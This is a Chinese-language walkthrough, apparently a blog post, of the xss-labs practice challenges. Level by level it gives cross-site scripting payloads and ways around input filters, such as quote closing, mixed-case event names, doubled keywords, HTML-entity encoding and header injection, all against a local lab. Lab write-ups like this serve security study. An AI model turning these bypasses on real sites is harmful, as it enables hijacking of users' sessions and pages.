xss-labs
¶level1
在url直接输入即可
level1.php?name=<script>alert(1)</script> |
¶level2
<body> |
可以从第五行处进行利用, 闭合前面的语句即可
level2.php?keyword="><script>alert(1)</script> |
本机上检查源码发现第三行利用的函数为htmlspecialchars
, 很可惜没成
还可以构造onclick属性, 因为是<input>
标签
level2.php?keyword=" onclick="alert(1) |
此时文本框有了一个点击事件, 点击文本框就能看到弹窗进入下一关
¶level3
<input>
标签继续尝试:
level3.php?keyword=' onclick='alert(1)&submit=%E6%90%9C%E7%B4%A2 |
点击搜索框即可
双引号被编码
¶level4
还是可以直接用
# 点击搜索框 |
¶level5
对事件on做了过滤, 同时过滤了script, 增加了_使得它们失效
试试<a>
标签, 发现是可以塞进去的, 只过滤了script
level5.php?keyword="><a href='javascript:alert(1);'>cnm</a>&submit=%E6%90%9C%E7%B4%A2 |
¶level6
可以大小写绕过
level6.php?keyword=" Onclick="alert(1)&submit=%E6%90%9C%E7%B4%A2 |
¶level7
尝试利用下面的payload发现on被替换为空:
" onclick="alert(1) |
尝试双写, 成功绕过
level7.php?keyword=" oonnclick="alert(1)&submit=%E6%90%9C%E7%B4%A2 |
¶level8
内容输出在了a标签的href属性中, javascript不仅加了_
, 并且将特殊符号进行了编码无法闭合
但是属性值是可以进行编码绕过的, 进行一个html的实体编码:
javascript:alert("jaden") |
输入到输入框再点击友情链接即可
level8.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2334%3B%26%23106%3B%26%2397%3B%26%23100%3B%26%23101%3B%26%23110%3B%26%2334%3B%26%2341%3B&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5 |
¶level9
|
必须要有http://, 但是在最后增加会导致跳转不可用, 注释掉http://就行
javascript:alert(1)//http:// |
¶level10
在源码可以找到三个传参点, 最后找到t_sort
可以作为传参点, 传参在value
<input name="t_link" value="" type="hidden"> |
input标签进行注入可以闭合属性, 构造新的属性, 同时把type="hidden"属性替换掉
level10.php?keyword=1&t_sort='" type='text' onclick='alert(1)' |
¶level11
<input name="t_link" value="" type="hidden"> |
这个t_ref
是上一关跳转过来的referer, referer是没有过滤的
所以将下面payload塞进referer然后取得输入框焦点即可:
'"type='text' onclick='alert(1)' |
¶level12
t_ua
没有被编码, 这次是User Agent, 换成上面的payload即可
¶level13
刷新页面抓包, 将Cookie改成上面的payload即可
¶level14
需要安装flash我认为可以直接拉倒
反正就是上传一个包含xss的图片然后被解析出来
¶level15
跳转有问题, 我自己的网址是: /level15.php?src=1.gif
根据提示和官方文档, 发现可以包含页面, 尝试包含level1
http://127.0.0.1:8903/level15.php?src=%27http://127.0.0.1:8903/level1.php%27 |
利用level1的payload似乎被过滤了, 尝试后是<script>
尝试其他的, 发现可以利用以下payload
http://127.0.0.1:8903/level15.php?src='level1.php?name=<img src=123 οnerrοr=alert(1)>' |
无法弹出弹窗, 拉倒了